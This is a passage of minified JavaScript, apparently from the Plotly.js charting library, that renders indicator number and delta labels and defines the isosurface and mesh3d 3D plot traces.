v(q)?Be.transition().duration(q.duration).ease(q.easing).tween("text",function(){var Xe=M.select(this),Ze=Fe(_[0]),Ke=O._deltaLastValue,st=ie(O.delta.valueformat,be,Ke,Ze),lt=o(Ke,Ze);return O._deltaLastValue=Ze,function(ut){Xe.text(Oe(lt(ut),st)),Xe.call(c.fill,Ce({delta:lt(ut)}))}}).each("end",function(){$e(),ne&&ne()}).each("interrupt",function(){$e(),ne&&ne()}):$e(),W=x(Oe(Fe(_[0]),be),O.delta.font,J,k),Be}var oe=O.mode+O.align,re;if(O._hasDelta&&(re=K(),oe+=O.delta.position+O.delta.font.size+O.delta.font.family+O.delta.valueformat,oe+=O.delta.increasing.symbol+O.delta.decreasing.symbol,V=W),O._hasNumber&&(j(),oe+=O.number.font.size+O.number.font.family+O.number.valueformat+O.number.suffix+O.number.prefix,V=X),O._hasDelta&&O._hasNumber){var le=[(X.left+X.right)/2,(X.top+X.bottom)/2],pe=[(W.left+W.right)/2,(W.top+W.bottom)/2],we,xe,ke=.75*O.delta.font.size;O.delta.position==="left"&&(we=I(O,"deltaPos",0,-1*(X.width*h[O.align]+W.width*(1-h[O.align])+ke),oe,Math.min),xe=le[1]-pe[1],V={width:X.width+W.width+ke,height:Math.max(X.height,W.height),left:W.left+we,right:X.right,top:Math.min(X.top,W.top+xe),bottom:Math.max(X.bottom,W.bottom+xe)}),O.delta.position==="right"&&(we=I(O,"deltaPos",0,X.width*(1-h[O.align])+W.width*h[O.align]+ke,oe,Math.max),xe=le[1]-pe[1],V={width:X.width+W.width+ke,height:Math.max(X.height,W.height),left:X.left,right:W.right+we,top:Math.min(X.top,W.top+xe),bottom:Math.max(X.bottom,W.bottom+xe)}),O.delta.position==="bottom"&&(we=null,xe=W.height,V={width:Math.max(X.width,W.width),height:X.height+W.height,left:Math.min(X.left,W.left),right:Math.max(X.right,W.right),top:X.bottom-X.height,bottom:X.bottom+W.height}),O.delta.position==="top"&&(we=null,xe=X.top,V={width:Math.max(X.width,W.width),height:X.height+W.height,left:Math.min(X.left,W.left),right:Math.max(X.right,W.right),top:X.bottom-X.height-W.height,bottom:X.bottom}),re.attr({dx:we,dy:xe})}(O._hasNumber||O._hasDelta)&&fe.attr("transform",function(){var _e=F.numbersScaler(V);oe+=_e[2];var be=I(O,"numbersScale",1,_e[0],oe,Math.min),ge;O._scaleNumbers||(be=1),O._isAngular?ge=N-be*V.bottom:ge=N-be*(V.top+V.bottom)/2,O._numbersTop=be*V.top+ge;var Te=V[G];G==="center"&&(Te=(V.left+V.right)/2);var Fe=z-be*Te;return Fe=I(O,"numbersTranslate",0,Fe,oe,Math.max),d(Fe,ge)+S(be)})}function p(k){k.each(function(B){c.stroke(M.select(this),B.line.color)}).each(function(B){c.fill(M.select(this),B.color)}).style("stroke-width",function(B){return B.line.width})}function A(k,B,_){return function(){var F=P(B,_);return function(O){return k.endAngle(F(O))()}}}function m(k,B,_){var F=k._fullLayout,O=L.extendFlat({type:"linear",ticks:"outside",range:_,showline:!0},B),z={type:"linear",_id:"x"+B._id},N={letter:"x",font:F.font,noHover:!0,noTickson:!0};function G(J,q){return L.coerce(O,z,y,J,q)}return u(O,z,G,N,F),s(O,z,G,N),z}function n(k,B,_){var F=Math.min(B/k.width,_/k.height);return[F,k,B+"x"+_]}function C(k,B){var _=Math.sqrt(k.width/2*(k.width/2)+k.height*k.height),F=B/_;return[F,k,B]}function x(k,B,_,F){var O=document.createElementNS("http://www.w3.org/2000/svg","text"),z=M.select(O);return z.text(k).attr("x",0).attr("y",0).attr("text-anchor",_).attr("data-unformatted",k).call(a.convertToTspans,F).call(r.font,B),r.bBox(z.node())}function I(k,B,_,F,O,z){var N="_cache"+B;k[N]&&k[N].key===O||(k[N]={key:O,value:_});var G=L.aggNums(z,null,[k[N].value,F],2);return k[N].value=G,G}},16249:function(te,Z,e){var M=e(50693),P=e(12663).axisHoverFormat,o=e(5386).fF,L=e(2418),S=e(9012),d=e(1426).extendFlat,g=e(30962).overrideAll;function t(a){return{show:{valType:"boolean",dflt:!1},locations:{valType:"data_array",dflt:[]},fill:{valType:"number",min:0,max:1,dflt:1}}}function r(a){return{show:{valType:"boolean",dflt:!0},fill:{valType:"number",min:0,max:1,dflt:1}}}var f=te.exports=g(d({x:{valType:"data_array"},y:{valType:"data_array"},z:{valType:"data_array"},value:{valType:"data_array"},isomin:{valType:"number"},isomax:{valType:"number"},surface:{show:{valType:"boolean",dflt:!0},count:{valType:"integer",dflt:2,min:1},fill:{valType:"number",min:0,max:1,dflt:1},pattern:{valType:"flaglist",flags:["A","B","C","D","E"],extras:["all","odd","even"],dflt:"all"}},spaceframe:{show:{valType:"boolean",dflt:!1},fill:{valType:"number",min:0,max:1,dflt:.15}},slices:{x:t(),y:t(),z:t()},caps:{x:r(),y:r(),z:r()},text:{valType:"string",dflt:"",arrayOk:!0},hovertext:{valType:"string",dflt:"",arrayOk:!0},hovertemplate:o(),xhoverformat:P("x"),yhoverformat:P("y"),zhoverformat:P("z"),valuehoverformat:P("value",1),showlegend:d({},S.showlegend,{dflt:!1})},M("",{colorAttr:"`value`",showScaleDflt:!0,editTypeOverride:"calc"}),{opacity:L.opacity,lightposition:L.lightposition,lighting:L.lighting,flatshading:L.flatshading,contour:L.contour,hoverinfo:d({},S.hoverinfo)}),"calc","nested");f.flatshading.dflt=!0,f.lighting.facenormalsepsilon.dflt=0,f.x.editType=f.y.editType=f.z.editType=f.value.editType="calc+clearAxisTypes",f.transforms=void 0},56959:function(te,Z,e){var M=e(78803),P=e(88489).processGrid,o=e(88489).filter;te.exports=function(S,d){d._len=Math.min(d.x.length,d.y.length,d.z.length,d.value.length),d._x=o(d.x,d._len),d._y=o(d.y,d._len),d._z=o(d.z,d._len),d._value=o(d.value,d._len);var g=P(d);d._gridFill=g.fill,d._Xs=g.Xs,d._Ys=g.Ys,d._Zs=g.Zs,d._len=g.len;for(var t=1/0,r=-1/0,f=0;f<d._len;f++){var a=d._value[f];t=Math.min(t,a),r=Math.max(r,a)}d._minValues=t,d._maxValues=r,d._vMin=d.isomin===void 0||d.isomin===null?t:d.isomin,d._vMax=d.isomax===void 0||d.isomin===null?r:d.isomax,M(S,d,{vals:[d._vMin,d._vMax],containerStr:"",cLetter:"c"})}},22674:function(te,Z,e){var M=e(9330).gl_mesh3d,P=e(81697).parseColorScale,o=e(78614),L=e(21081).extractOpts,S=e(90060),d=function(l,u){for(var s=u.length-1;s>0;s--){var y=Math.min(u[s],u[s-1]),c=Math.max(u[s],u[s-1]);if(c>y&&y<l&&l<=c)return{id:s,distRatio:(c-l)/(c-y)}}return{id:0,distRatio:0}};function g(l,u,s){this.scene=l,this.uid=s,this.mesh=u,this.name="",this.data=null,this.showContour=!1}var t=g.prototype;t.handlePick=function(l){if(l.object===this.mesh){var u=l.data.index,s=this.data._meshX[u],y=this.data._meshY[u],c=this.data._meshZ[u],b=this.data._Ys.length,h=this.data._Zs.length,i=d(s,this.data._Xs).id,v=d(y,this.data._Ys).id,T=d(c,this.data._Zs).id,w=l.index=T+h*v+h*b*i;l.traceCoordinate=[this.data._meshX[w],this.data._meshY[w],this.data._meshZ[w],this.data._value[w]];var E=this.data.hovertext||this.data.text;return Array.isArray(E)&&E[w]!==void 0?l.textLabel=E[w]:E&&(l.textLabel=E),!0}},t.update=function(l){var u=this.scene,s=u.fullSceneLayout;this.data=f(l);function y(v,T,w,E){return T.map(function(p){return v.d2l(p,0,E)*w})}var c=S(y(s.xaxis,l._meshX,u.dataScale[0],l.xcalendar),y(s.yaxis,l._meshY,u.dataScale[1],l.ycalendar),y(s.zaxis,l._meshZ,u.dataScale[2],l.zcalendar)),b=S(l._meshI,l._meshJ,l._meshK),h={positions:c,cells:b,lightPosition:[l.lightposition.x,l.lightposition.y,l.lightposition.z],ambient:l.lighting.ambient,diffuse:l.lighting.diffuse,specular:l.lighting.specular,roughness:l.lighting.roughness,fresnel:l.lighting.fresnel,vertexNormalsEpsilon:l.lighting.vertexnormalsepsilon,faceNormalsEpsilon:l.lighting.facenormalsepsilon,opacity:l.opacity,contourEnable:l.contour.show,contourColor:o(l.contour.color).slice(0,3),contourWidth:l.contour.width,useFacetNormals:l.flatshading},i=L(l);h.vertexIntensity=l._meshIntensity,h.vertexIntensityBounds=[i.min,i.max],h.colormap=P(l),this.mesh.update(h)},t.dispose=function(){this.scene.glplot.remove(this.mesh),this.mesh.dispose()};var r=["xyz","xzy","yxz","yzx","zxy","zyx"];function f(l){l._meshI=[],l._meshJ=[],l._meshK=[];var u=l.surface.show,s=l.spaceframe.show,y=l.surface.fill,c=l.spaceframe.fill,b=!1,h=!1,i=0,v,T,w=l._Xs,E=l._Ys,p=l._Zs,A=w.length,m=E.length,n=p.length,C=r.indexOf(l._gridFill.replace(/-/g,"").replace(/\+/g,"")),x=function(Le,Pe,De){switch(C){case 5:return De+n*Pe+n*m*Le;case 4:return De+n*Le+n*A*Pe;case 3:return Pe+m*De+m*n*Le;case 2:return Pe+m*Le+m*A*De;case 1:return Le+A*De+A*n*Pe;default:return Le+A*Pe+A*m*De}},I=l._minValues,k=l._maxValues,B=l._vMin,_=l._vMax,F,O,z,N;function G(Le,Pe,De){for(var Ee=N.length,ye=T;ye<Ee;ye++)if(Le===F[ye]&&Pe===O[ye]&&De===z[ye])return ye;return-1}function J(){T=v}function q(){F=[],O=[],z=[],N=[],v=0,J()}function ne(Le,Pe,De,Ee){return F.push(Le),O.push(Pe),z.push(De),N.push(Ee),v++,v-1}function fe(Le,Pe,De){return l._meshI.push(Le),l._meshJ.push(Pe),l._meshK.push(De),i++,i-1}function X(Le,Pe,De){for(var Ee=[],ye=0;ye<Le.length;ye++)Ee[ye]=(Le[ye]+Pe[ye]+De[ye])/3;return Ee}function W(Le,Pe,De){for(var Ee=[],ye=0;ye<Le.length;ye++)Ee[ye]=Le[ye]*(1-De)+De*Pe[ye];return Ee}var V;function Y(Le){V=Le}function Q(Le,Pe){var De=Le[0],Ee=Le[1],ye=Le[2],ae=X(De,Ee,ye),de=Math.sqrt(1-V),Me=W(ae,De,de),Ie=W(ae,Ee,de),Qe=W(ae,ye,de),et=Pe[0],pt=Pe[1],St=Pe[2];return{xyzv:[[De,Ee,Ie],[Ie,Me,De],[Ee,ye,Qe],[Qe,Ie,Ee],[ye,De,Me],[Me,Qe,ye]],abc:[[et,pt,-1],[-1,-1,et],[pt,St,-1],[-1,-1,pt],[St,et,-1],[-1,-1,St]]}}function ie(Le,Pe){return Le==="all"||Le===null?!0:Le.indexOf(Pe)>-1}function j(Le,Pe){return Le===null?Pe:Le}function K(Le,Pe,De){J();var Ee=[Pe],ye=[De];if(V>=1)Ee=[Pe],ye=[De];else if(V>0){var ae=Q(Pe,De);Ee=ae.xyzv,ye=ae.abc}for(var de=0;de<Ee.length;de++){Pe=Ee[de],De=ye[de];for(var Me=[],Ie=0;Ie<3;Ie++){var Qe=Pe[Ie][0],et=Pe[Ie][1],pt=Pe[Ie][2],St=Pe[Ie][3],_t=De[Ie]>-1?De[Ie]:G(Qe,et,pt);_t>-1?Me[Ie]=_t:Me[Ie]=ne(Qe,et,pt,j(Le,St))}fe(Me[0],Me[1],Me[2])}}function oe(Le,Pe,De){var Ee=function(ye,ae,de){K(Le,[Pe[ye],Pe[ae],Pe[de]],[De[ye],De[ae],De[de]])};Ee(0,1,2),Ee(2,3,0)}function re(Le,Pe,De){var Ee=function(ye,ae,de){K(Le,[Pe[ye],Pe[ae],Pe[de]],[De[ye],De[ae],De[de]])};Ee(0,1,2),Ee(3,0,1),Ee(2,3,0),Ee(1,2,3)}function le(Le,Pe,De,Ee){var ye=Le[3];ye<De&&(ye=De),ye>Ee&&(ye=Ee);for(var ae=(Le[3]-ye)/(Le[3]-Pe[3]+1e-9),de=[],Me=0;Me<4;Me++)de[Me]=(1-ae)*Le[Me]+ae*Pe[Me];return de}function pe(Le,Pe,De){return Le>=Pe&&Le<=De}function we(Le){var Pe=.001*(_-B);return Le>=B-Pe&&Le<=_+Pe}function xe(Le){for(var Pe=[],De=0;De<4;De++){var Ee=Le[De];Pe.push([l._x[Ee],l._y[Ee],l._z[Ee],l._value[Ee]])}return Pe}var ke=3;function _e(Le,Pe,De,Ee,ye,ae){ae||(ae=1),De=[-1,-1,-1];var de=!1,Me=[pe(Pe[0][3],Ee,ye),pe(Pe[1][3],Ee,ye),pe(Pe[2][3],Ee,ye)];if(!Me[0]&&!Me[1]&&!Me[2])return!1;var Ie=function(et,pt,St){return we(pt[0][3])&&we(pt[1][3])&&we(pt[2][3])?(K(et,pt,St),!0):ae<ke?_e(et,pt,St,B,_,++ae):!1};if(Me[0]&&Me[1]&&Me[2])return Ie(Le,Pe,De)||de;var Qe=!1;return[[0,1,2],[2,0,1],[1,2,0]].forEach(function(et){if(Me[et[0]]&&Me[et[1]]&&!Me[et[2]]){var pt=Pe[et[0]],St=Pe[et[1]],_t=Pe[et[2]],Ft=le(_t,pt,Ee,ye),Tt=le(_t,St,Ee,ye);de=Ie(Le,[Tt,Ft,pt],[-1,-1,De[et[0]]])||de,de=Ie(Le,[pt,St,Tt],[De[et[0]],De[et[1]],-1])||de,Qe=!0}}),Qe||[[0,1,2],[1,2,0],[2,0,1]].forEach(function(et){if(Me[et[0]]&&!Me[et[1]]&&!Me[et[2]]){var pt=Pe[et[0]],St=Pe[et[1]],_t=Pe[et[2]],Ft=le(St,pt,Ee,ye),Tt=le(_t,pt,Ee,ye);de=Ie(Le,[Tt,Ft,pt],[-1,-1,De[et[0]]])||de,Qe=!0}}),de}function be(Le,Pe,De,Ee){var ye=!1,ae=xe(Pe),de=[pe(ae[0][3],De,Ee),pe(ae[1][3],De,Ee),pe(ae[2][3],De,Ee),pe(ae[3][3],De,Ee)];if(!de[0]&&!de[1]&&!de[2]&&!de[3])return ye;if(de[0]&&de[1]&&de[2]&&de[3])return h&&(ye=re(Le,ae,Pe)||ye),ye;var Me=!1;return[[0,1,2,3],[3,0,1,2],[2,3,0,1],[1,2,3,0]].forEach(function(Ie){if(de[Ie[0]]&&de[Ie[1]]&&de[Ie[2]]&&!de[Ie[3]]){var Qe=ae[Ie[0]],et=ae[Ie[1]],pt=ae[Ie[2]],St=ae[Ie[3]];if(h)ye=K(Le,[Qe,et,pt],[Pe[Ie[0]],Pe[Ie[1]],Pe[Ie[2]]])||ye;else{var _t=le(St,Qe,De,Ee),Ft=le(St,et,De,Ee),Tt=le(St,pt,De,Ee);ye=K(null,[_t,Ft,Tt],[-1,-1,-1])||ye}Me=!0}}),Me||([[0,1,2,3],[1,2,3,0],[2,3,0,1],[3,0,1,2],[0,2,3,1],[1,3,2,0]].forEach(function(Ie){if(de[Ie[0]]&&de[Ie[1]]&&!de[Ie[2]]&&!de[Ie[3]]){var Qe=ae[Ie[0]],et=ae[Ie[1]],pt=ae[Ie[2]],St=ae[Ie[3]],_t=le(pt,Qe,De,Ee),Ft=le(pt,et,De,Ee),Tt=le(St,et,De,Ee),Gt=le(St,Qe,De,Ee);h?(ye=K(Le,[Qe,Gt,_t],[Pe[Ie[0]],-1,-1])||ye,ye=K(Le,[et,Ft,Tt],[Pe[Ie[1]],-1,-1])||ye):ye=oe(null,[_t,Ft,Tt,Gt],[-1,-1,-1,-1])||ye,Me=!0}}),Me)||[[0,1,2,3],[1,2,3,0],[2,3,0,1],[3,0,1,2]].forEach(function(Ie){if(de[Ie[0]]&&!de[Ie[1]]&&!de[Ie[2]]&&!de[Ie[3]]){var Qe=ae[Ie[0]],et=ae[Ie[1]],pt=ae[Ie[2]],St=ae[Ie[3]],_t=le(et,Qe,De,Ee),Ft=le(pt,Qe,De,Ee),Tt=le(St,Qe,De,Ee);h?(ye=K(Le,[Qe,_t,Ft],[Pe[Ie[0]],-1,-1])||ye,ye=K(Le,[Qe,Ft,Tt],[Pe[Ie[0]],-1,-1])||ye,ye=K(Le,[Qe,Tt,_t],[Pe[Ie[0]],-1,-1])||ye):ye=K(null,[_t,Ft,Tt],[-1,-1,-1])||ye,Me=!0}}),ye}function ge(Le,Pe,De,Ee,ye,ae,de,Me,Ie,Qe,et){var pt=!1;return b&&(ie(Le,"A")&&(pt=be(null,[Pe,De,Ee,ae],Qe,et)||pt),ie(Le,"B")&&(pt=be(null,[De,Ee,ye,Ie],Qe,et)||pt),ie(Le,"C")&&(pt=be(null,[De,ae,de,Ie],Qe,et)||pt),ie(Le,"D")&&(pt=be(null,[Ee,ae,Me,Ie],Qe,et)||pt),ie(Le,"E")&&(pt=be(null,[De,Ee,ae,Ie],Qe,et)||pt)),h&&(pt=be(Le,[De,Ee,ae,Ie],Qe,et)||pt),pt}function Te(Le,Pe,De,Ee,ye,ae,de,Me){return[Me[0]===!0?!0:_e(Le,xe([Pe,De,Ee]),[Pe,De,Ee],ae,de),Me[1]===!0?!0:_e(Le,xe([Ee,ye,Pe]),[Ee,ye,Pe],ae,de)]}function Fe(Le,Pe,De,Ee,ye,ae,de,Me,Ie){return Me?Te(Le,Pe,De,ye,Ee,ae,de,Ie):Te(Le,De,ye,Ee,Pe,ae,de,Ie)}function Oe(Le,Pe,De,Ee,ye,ae,de){var Me=!1,Ie,Qe,et,pt,St=function(){Me=_e(Le,[Ie,Qe,et],[-1,-1,-1],ye,ae)||Me,Me=_e(Le,[et,pt,Ie],[-1,-1,-1],ye,ae)||Me},_t=de[0],Ft=de[1],Tt=de[2];return _t&&(Ie=W(xe([x(Pe,De-0,Ee-0)])[0],xe([x(Pe-1,De-0,Ee-0)])[0],_t),Qe=W(xe([x(Pe,De-0,Ee-1)])[0],xe([x(Pe-1,De-0,Ee-1)])[0],_t),et=W(xe([x(Pe,De-1,Ee-1)])[0],xe([x(Pe-1,De-1,Ee-1)])[0],_t),pt=W(xe([x(Pe,De-1,Ee-0)])[0],xe([x(Pe-1,De-1,Ee-0)])[0],_t),St()),Ft&&(Ie=W(xe([x(Pe-0,De,Ee-0)])[0],xe([x(Pe-0,De-1,Ee-0)])[0],Ft),Qe=W(xe([x(Pe-0,De,Ee-1)])[0],xe([x(Pe-0,De-1,Ee-1)])[0],Ft),et=W(xe([x(Pe-1,De,Ee-1)])[0],xe([x(Pe-1,De-1,Ee-1)])[0],Ft),pt=W(xe([x(Pe-1,De,Ee-0)])[0],xe([x(Pe-1,De-1,Ee-0)])[0],Ft),St()),Tt&&(Ie=W(xe([x(Pe-0,De-0,Ee)])[0],xe([x(Pe-0,De-0,Ee-1)])[0],Tt),Qe=W(xe([x(Pe-0,De-1,Ee)])[0],xe([x(Pe-0,De-1,Ee-1)])[0],Tt),et=W(xe([x(Pe-1,De-1,Ee)])[0],xe([x(Pe-1,De-1,Ee-1)])[0],Tt),pt=W(xe([x(Pe-1,De-0,Ee)])[0],xe([x(Pe-1,De-0,Ee-1)])[0],Tt),St()),Me}function Ce(Le,Pe,De,Ee,ye,ae,de,Me,Ie,Qe,et,pt){var St=Le;return pt?(b&&Le==="even"&&(St=null),ge(St,Pe,De,Ee,ye,ae,de,Me,Ie,Qe,et)):(b&&Le==="odd"&&(St=null),ge(St,Ie,Me,de,ae,ye,Ee,De,Pe,Qe,et))}function Be(Le,Pe,De,Ee,ye){for(var ae=[],de=0,Me=0;Me<Pe.length;Me++)for(var Ie=Pe[Me],Qe=1;Qe<n;Qe++)for(var et=1;et<m;et++)ae.push(Fe(Le,x(Ie,et-1,Qe-1),x(Ie,et-1,Qe),x(Ie,et,Qe-1),x(Ie,et,Qe),De,Ee,(Ie+et+Qe)%2,ye&&ye[de]?ye[de]:[])),de++;return ae}function $e(Le,Pe,De,Ee,ye){for(var ae=[],de=0,Me=0;Me<Pe.length;Me++)for(var Ie=Pe[Me],Qe=1;Qe<A;Qe++)for(var et=1;et<n;et++)ae.push(Fe(Le,x(Qe-1,Ie,et-1),x(Qe,Ie,et-1),x(Qe-1,Ie,et),x(Qe,Ie,et),De,Ee,(Qe+Ie+et)%2,ye&&ye[de]?ye[de]:[])),de++;return ae}function Xe(Le,Pe,De,Ee,ye){for(var ae=[],de=0,Me=0;Me<Pe.length;Me++)for(var Ie=Pe[Me],Qe=1;Qe<m;Qe++)for(var et=1;et<A;et++)ae.push(Fe(Le,x(et-1,Qe-1,Ie),x(et-1,Qe,Ie),x(et,Qe-1,Ie),x(et,Qe,Ie),De,Ee,(et+Qe+Ie)%2,ye&&ye[de]?ye[de]:[])),de++;return ae}function Ze(Le,Pe,De){for(var Ee=1;Ee<n;Ee++)for(var ye=1;ye<m;ye++)for(var ae=1;ae<A;ae++)Ce(Le,x(ae-1,ye-1,Ee-1),x(ae-1,ye-1,Ee),x(ae-1,ye,Ee-1),x(ae-1,ye,Ee),x(ae,ye-1,Ee-1),x(ae,ye-1,Ee),x(ae,ye,Ee-1),x(ae,ye,Ee),Pe,De,(ae+ye+Ee)%2)}function Ke(Le,Pe,De){h=!0,Ze(Le,Pe,De),h=!1}function st(Le,Pe,De){b=!0,Ze(Le,Pe,De),b=!1}function lt(Le,Pe,De,Ee,ye,ae){for(var de=[],Me=0,Ie=0;Ie<Pe.length;Ie++)for(var Qe=Pe[Ie],et=1;et<n;et++)for(var pt=1;pt<m;pt++)de.push(Oe(Le,Qe,pt,et,De,Ee,ye[Ie],ae&&ae[Me]?ae[Me]:[])),Me++;return de}function ut(Le,Pe,De,Ee,ye,ae){for(var de=[],Me=0,Ie=0;Ie<Pe.length;Ie++)for(var Qe=Pe[Ie],et=1;et<A;et++)for(var pt=1;pt<n;pt++)de.push(Oe(Le,et,Qe,pt,De,Ee,ye[Ie],ae&&ae[Me]?ae[Me]:[])),Me++;return de}function yt(Le,Pe,De,Ee,ye,ae){for(var de=[],Me=0,Ie=0;Ie<Pe.length;Ie++)for(var Qe=Pe[Ie],et=1;et<m;et++)for(var pt=1;pt<A;pt++)de.push(Oe(Le,pt,et,Qe,De,Ee,ye[Ie],ae&&ae[Me]?ae[Me]:[])),Me++;return de}function bt(Le,Pe){for(var De=[],Ee=Le;Ee<Pe;Ee++)De.push(Ee);return De}function Ot(){for(var Le=0;Le<A;Le++)for(var Pe=0;Pe<m;Pe++)for(var De=0;De<n;De++){var Ee=x(Le,Pe,De);ne(l._x[Ee],l._y[Ee],l._z[Ee],l._value[Ee])}}function Ge(){q(),Ot();var Le=null;if(s&&c&&(Y(c),Ke(Le,B,_)),u&&y){Y(y);for(var Pe=l.surface.pattern,De=l.surface.count,Ee=0;Ee<De;Ee++){var ye=De===1?.5:Ee/(De-1),ae=(1-ye)*B+ye*_,de=Math.abs(ae-I),Me=Math.abs(ae-k),Ie=de>Me?[I,ae]:[ae,k];st(Pe,Ie[0],Ie[1])}}var Qe=[[Math.min(B,k),Math.max(B,k)],[Math.min(I,_),Math.max(I,_)]];["x","y","z"].forEach(function(et){for(var pt=[],St=0;St<Qe.length;St++){var _t=0,Ft=Qe[St][0],Tt=Qe[St][1],Gt=l.slices[et];if(Gt.show&&Gt.fill){Y(Gt.fill);var er=[],Pr=[],ct=[];if(Gt.locations.length)for(var Vt=0;Vt<Gt.locations.length;Vt++){var Ut=d(Gt.locations[Vt],et==="x"?w:et==="y"?E:p);Ut.distRatio===0?er.push(Ut.id):Ut.id>0&&(Pr.push(Ut.id),et==="x"?ct.push([Ut.distRatio,0,0]):et==="y"?ct.push([0,Ut.distRatio,0]):ct.push([0,0,Ut.distRatio]))}else et==="x"?er=bt(1,A-1):et==="y"?er=bt(1,m-1):er=bt(1,n-1);Pr.length>0&&(et==="x"?pt[_t]=lt(Le,Pr,Ft,Tt,ct,pt[_t]):et==="y"?pt[_t]=ut(Le,Pr,Ft,Tt,ct,pt[_t]):pt[_t]=yt(Le,Pr,Ft,Tt,ct,pt[_t]),_t++),er.length>0&&(et==="x"?pt[_t]=Be(Le,er,Ft,Tt,pt[_t]):et==="y"?pt[_t]=$e(Le,er,Ft,Tt,pt[_t]):pt[_t]=Xe(Le,er,Ft,Tt,pt[_t]),_t++)}var dr=l.caps[et];dr.show&&dr.fill&&(Y(dr.fill),et==="x"?pt[_t]=Be(Le,[0,A-1],Ft,Tt,pt[_t]):et==="y"?pt[_t]=$e(Le,[0,m-1],Ft,Tt,pt[_t]):pt[_t]=Xe(Le,[0,n-1],Ft,Tt,pt[_t]),_t++)}}),i===0&&q(),l._meshX=F,l._meshY=O,l._meshZ=z,l._meshIntensity=N,l._Xs=w,l._Ys=E,l._Zs=p}return Ge(),l}function a(l,u){var s=l.glplot.gl,y=M({gl:s}),c=new g(l,y,u.uid);return y._trace=c,c.update(u),l.glplot.add(y),c}te.exports={findNearestOnAxis:d,generateIsoMeshes:f,createIsosurfaceTrace:a}},82738:function(te,Z,e){var M=e(71828),P=e(73972),o=e(16249),L=e(1586);function S(g,t,r,f){function a(l,u){return M.coerce(g,t,o,l,u)}d(g,t,r,f,a)}function d(g,t,r,f,a){var l=a("isomin"),u=a("isomax");u!=null&&l!==void 0&&l!==null&&l>u&&(t.isomin=null,t.isomax=null);var s=a("x"),y=a("y"),c=a("z"),b=a("value");if(!s||!s.length||!y||!y.length||!c||!c.length||!b||!b.length){t.visible=!1;return}var h=P.getComponentMethod("calendars","handleTraceDefaults");h(g,t,["x","y","z"],f),a("valuehoverformat"),["x","y","z"].forEach(function(w){a(w+"hoverformat");var E="caps."+w,p=a(E+".show");p&&a(E+".fill");var A="slices."+w,m=a(A+".show");m&&(a(A+".fill"),a(A+".locations"))});var i=a("spaceframe.show");i&&a("spaceframe.fill");var v=a("surface.show");v&&(a("surface.count"),a("surface.fill"),a("surface.pattern"));var T=a("contour.show");T&&(a("contour.color"),a("contour.width")),["text","hovertext","hovertemplate","lighting.ambient","lighting.diffuse","lighting.specular","lighting.roughness","lighting.fresnel","lighting.vertexnormalsepsilon","lighting.facenormalsepsilon","lightposition.x","lightposition.y","lightposition.z","flatshading","opacity"].forEach(function(w){a(w)}),L(g,t,f,a,{prefix:"",cLetter:"c"}),t._length=null}te.exports={supplyDefaults:S,supplyIsoDefaults:d}},64943:function(te,Z,e){te.exports={attributes:e(16249),supplyDefaults:e(82738).supplyDefaults,calc:e(56959),colorbar:{min:"cmin",max:"cmax"},plot:e(22674).createIsosurfaceTrace,moduleType:"trace",name:"isosurface",basePlotModule:e(58547),categories:["gl3d","showLegend"],meta:{}}},2418:function(te,Z,e){var M=e(50693),P=e(12663).axisHoverFormat,o=e(5386).fF,L=e(54532),S=e(9012),d=e(1426).extendFlat;te.exports=d({x:{valType:"data_array",editType:"calc+clearAxisTypes"},y:{valType:"data_array",editType:"calc+clearAxisTypes"},z:{valType:"data_array",editType:"calc+clearAxisTypes"},i:{valType:"data_array",editType:"calc"},j:{valType:"data_array",editType:"calc"},k:{valType:"data_array",editType:"calc"},text:{valType:"string",dflt:"",arrayOk:!0,editType:"calc"},hovertext:{valType:"string",dflt:"",arrayOk:!0,editType:"calc"},hovertemplate:o({editType:"calc"}),xhoverformat:P("x"),yhoverformat:P("y"),zhoverformat:P("z"),delaunayaxis:{valType:"enumerated",values:["x","y","z"],dflt:"z",editType:"calc"},alphahull:{valType:"number",dflt:-1,editType:"calc"},intensity:{valType:"data_array",editType:"calc"},intensitymode:{valType:"enumerated",values:["vertex","cell"],dflt:"vertex",editType:"calc"},color:{valType:"color",editType:"calc"},vertexcolor:{valType:"data_array",editType:"calc"},facecolor:{valType:"data_array",editType:"calc"},transforms:void 0},M("",{colorAttr:"`intensity`",showScaleDflt:!0,editTypeOverride:"calc"}),{opacity:L.opacity,flatshading:{valType:"boolean",dflt:!1,editType:"calc"},contour:{show:d({},L.contours.x.show,{}),color:L.contours.x.color,width:L.contours.x.width,editType:"calc"},lightposition:{x:d({},L.lightposition.x,{dflt:1e5}),y:d({},L.lightposition.y,{dflt:1e5}),z:d({},L.lightposition.z,{dflt:0}),editType:"calc"},lighting:d({vertexnormalsepsilon:{valType:"number",min:0,max:1,dflt:1e-12,editType:"calc"},facenormalsepsilon:{valType:"number",min:0,max:1,dflt:1e-6,editType:"calc"},editType:"calc"},L.lighting),hoverinfo:d({},S.hoverinfo,{editType:"calc"}),showlegend:d({},S.showlegend,{dflt:!1})})},82932:function(te,Z,e){var M=e(78803);te.exports=function(o,L){L.intensity&&M(o,L,{vals:L.intensity,containerStr:"",cLetter:"c"})}},91134:function(te,Z,e){var M=e(9330).gl_mesh3d,P=e(9330).delaunay_triangulate,o=e(9330).alpha_shape,L=e(9330).convex_hull,S=e(81697).parseColorScale,d=e(78614),g=e(21081).extractOpts,t=e(90060);function r(b,h,i){this.scene=b,this.uid=i,this.mesh=h,this.name="",this.color="#fff",this.data=null,this.showContour=!1}var f=r.prototype;f.handlePick=function(b){if(b.object===this.mesh){var h=b.index=b.data.index;b.data._cellCenter?b.traceCoordinate=b.data.dataCoordinate:b.traceCoordinate=[this.data.x[h],this.data.y[h],this.data.z[h]];var i=this.data.hovertext||this.data.text;return Array.isArray(i)&&i[h]!==void 0?b.textLabel=i[h]:i&&(b.textLabel=i),!0}};function a(b){for(var h=[],i=b.length,v=0;v<i;v++)h[v]=d(b[v]);return h}function l(b,h,i,v){for(var T=[],w=h.length,E=0;E<w;E++)T[E]=b.d2l(h[E],0,v)*i;return T}function u(b){for(var h=[],i=b.length,v=0;v<i;v++)h[v]=Math.round(b[v]);return h}function s(b,h){for(var i=["x","y","z"].indexOf(b),v=[],T=h.length,w=0;w<T;w++)v[w]=[h[w][(i+1)%3],h[w][(i+2)%3]];return P(v)}function y(b,h){for(var i=b.length,v=0;v<i;v++)if(b[v]<=-.5||b[v]>=h-.5)return!1;return!0}f.update=function(b){var h=this.scene,i=h.fullSceneLayout;this.data=b;var 